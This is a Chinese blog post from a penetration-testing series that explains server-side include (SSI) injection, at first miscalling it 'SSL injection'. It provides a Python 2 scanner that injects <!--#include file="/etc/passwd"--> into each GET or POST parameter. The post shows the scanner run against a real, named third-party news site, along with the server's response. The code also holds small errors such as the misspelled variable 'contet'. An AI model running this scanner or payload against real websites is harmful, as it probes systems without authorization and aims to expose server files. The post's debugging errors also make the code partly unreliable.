当前位置: 首页 > news >正文

网络安全[脚本小子] -- SSI注入

   本系列文章将与大家一起学习探讨网络安全知识,但我们不做脚本小子。 在计算机和网络领域里,脚本小子(script kiddie)是一个贬义词用来描述以黑客自居并沾沾自喜的初学者。 他们钦慕于黑客的能力与探索精神,但与黑客所不同的是,脚本小子通常只是对计算机系统有基础了解与爱好, 但并不注重程序语言、算法、和数据结构的研究,虽然这些对于真正伟大的黑客来说是必须具备的素质。 他们常常从某些网站上复制脚本代码,然后到处粘贴,却并不一定明白他们的方法与原理。所以一般在说明一个漏洞之后,会提供一个漏洞发现程序,由于Python的强大和网络库的丰富,所以选择了Python。本专题--网络安全[脚本小子],就是为了勉励我们不做脚本小子,同时暗喻我们会提供脚本,做自动化漏洞发现,成为真正的“脚本小子”。

   所谓的SSL注入,其实就是服务器端文件包含,想深入了解的可以看这篇文档,http://lamp.linux.gov.cn/Apache/ApacheMenu/howto/ssi.html,很明显如果我们输入带SSL指令的url,那么服务器将会解析,输入<!--#include file="/etc/passwd"-->将会造成信息泄漏,有很大的隐患。

   做渗透测试的大伙肯定知道要想发现漏洞,首先要发现Url,最好能够自动化,大家很熟悉的WVS是发掘漏洞很强大的工具,在我眼里完胜IBM Appcan。WVS是用Qt写的,使用了QtWebkit,所以能找到几乎所有的url,包括ajax,html5的url。由于有PyQt,所以完全可以用Python仿写,唉如果wvs开源多好,轻轻松松就可以移植到PyQt上(想多了吧。。。)。

 自动化发现程序如下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. # -*- coding: utf-8 -*-  
  3. import urllib  
  4. import json  
  5.   
  6. def run(url,method,params):  
  7.     try:  
  8.         if method == 'get':  #year1=20120923&year2=20130923  
  9.             params_dict = None  
  10.             try:  
  11.                 params_dict = dict(map(lambda s: s.split('='),params.split('&')))  #params may "&page=&no=3249"  
  12.             except:  
  13.                 return  
  14.             for row in params_dict:  
  15.                 tmp = params_dict.copy()  
  16.                 tmp[row] = '<!--#include%20file="/etc/passwd"-->'  
  17.                 ret = []  
  18.                 for k in tmp:  
  19.                     ret.append(k+"="+tmp[k])  
  20.                 new_url = "%s?%s" %(url, '&'.join(ret))  
  21.                 opener = urllib.urlopen(new_url)  
  22.                 content = opener.read()  
  23.                 opener.close()  
  24.                 if content.find("[an error occurred while processing this directive]") >= 0:  
  25.                     res = opener.headers.dict  
  26.                     res['status']='403'  
  27.                     print 'bingo',new_url,content  
  28.                     break  
  29.         elif method == 'post'#[{"type":"hidden","name":"num","value":""},{"type":"hidden","name":"asu","value":""}]  
  30.             params_list = json.read(params)  
  31.             params = []  
  32.             for params_dict in params_list:  
  33.                 params.append((params_dict['name'],params_dict['value']))  
  34.             params_dict = dict(params)  
  35.             for row in params_dict:  
  36.                 tmp = params_dict.copy()  
  37.                 tmp[row] = '<!--#include file="/etc/passwd"-->'  
  38.                 data = urllib.urlencode(tmp)  
  39.                 opener = urllib.urlopen(url,data)  
  40.                 content = opener.read()  
  41.                 opener.close()  
  42.                 if content.find("[an error occurred while processing this directive]") >= 0:  
  43.                     res = opener.headers.dict  
  44.                     res['status']='403'  
  45.                     print 'bingo',url,data,contet  
  46.                     break  
  47.     except Exception,e:  
  48.         print str(e)  
  49.   
  50. if __name__ == '__main__':  
  51.     run('http://hpc.ebn.co.kr/news/n_view.html','get','id=630432&kind=menu_code&keys=70')  
输出结果:
[python] view plain copy
  1. bingo http://hpc.ebn.co.kr/news/n_view.html?keys=<!--#include%20file="/etc/passwd"-->&kind=menu_code&id=630432 [an error occurred while processing this directive]  
  2.   
  3.     
  4.   
  5.     You don't have permission to access the requested object.  
  6.     It is either read-protected or not readable by the server.  
  7.   
  8.     
  9.   
  10. [an error occurred while processing this directive] 

相关文章:

  • wdcp虚拟主机管理系统注入漏洞
  • python发送GET或POST请求以便干一些趣事
  • SSH安全技巧
  • JSP过滤器防止Xss漏洞
  • XSS漏洞解决方案之一:过滤器
  • 五个你必须知道的javascript和web debug技术
  • 12 款最好的 Bootstrap 设计工具
  • 设置Jetty服务器的cookie为secure和httponly
  • XSS与HTTP-only Cookie 脚本获取JSESSIONID的方法
  • DNS 安全信息 (微软)
  • DNS安全 -月宫吴刚
  • ldap 身份验证的通用步骤
  • Openssl多个安全补丁简易分析危害及修复方案
  • Redhat Linux 安全设置脚本
  • nginx中shell脚本封锁采集IP地址
  • 【5+】跨webview多页面 触发事件(二)
  • 【跃迁之路】【444天】程序员高效学习方法论探索系列(实验阶段201-2018.04.25)...
  • Android优雅地处理按钮重复点击
  • css系列之关于字体的事
  • in typeof instanceof ===这些运算符有什么作用
  • redis学习笔记(三):列表、集合、有序集合
  • Solarized Scheme
  • SpringCloud集成分布式事务LCN (一)
  • SpriteKit 技巧之添加背景图片
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • use Google search engine
  • Vim 折腾记
  • vue总结
  • WebSocket使用
  • -- 查询加强-- 使用如何where子句进行筛选,% _ like的使用
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 老板让我十分钟上手nx-admin
  • 算法-图和图算法
  • 宾利慕尚创始人典藏版国内首秀,2025年前实现全系车型电动化 | 2019上海车展 ...
  • 小白应该如何快速入门阿里云服务器,新手使用ECS的方法 ...
  • #162 (Div. 2)
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • (2)STM32单片机上位机
  • (规划)24届春招和25届暑假实习路线准备规划
  • (含react-draggable库以及相关BUG如何解决)固定在左上方某盒子内(如按钮)添加可拖动功能,使用react hook语法实现
  • (四)Linux Shell编程——输入输出重定向
  • (淘宝无限适配)手机端rem布局详解(转载非原创)
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (转)Sql Server 保留几位小数的两种做法
  • (转)微软牛津计划介绍——屌爆了的自然数据处理解决方案(人脸/语音识别,计算机视觉与语言理解)...
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .bat批处理(九):替换带有等号=的字符串的子串
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .NET 命令行参数包含应用程序路径吗?
  • .net 使用$.ajax实现从前台调用后台方法(包含静态方法和非静态方法调用)
  • .net(C#)中String.Format如何使用
  • .NET/C# 编译期能确定的字符串会在字符串暂存池中不会被 GC 垃圾回收掉
  • .NET/C# 使用 #if 和 Conditional 特性来按条件编译代码的不同原理和适用场景
  • .Net6支持的操作系统版本(.net8已来,你还在用.netframework4.5吗)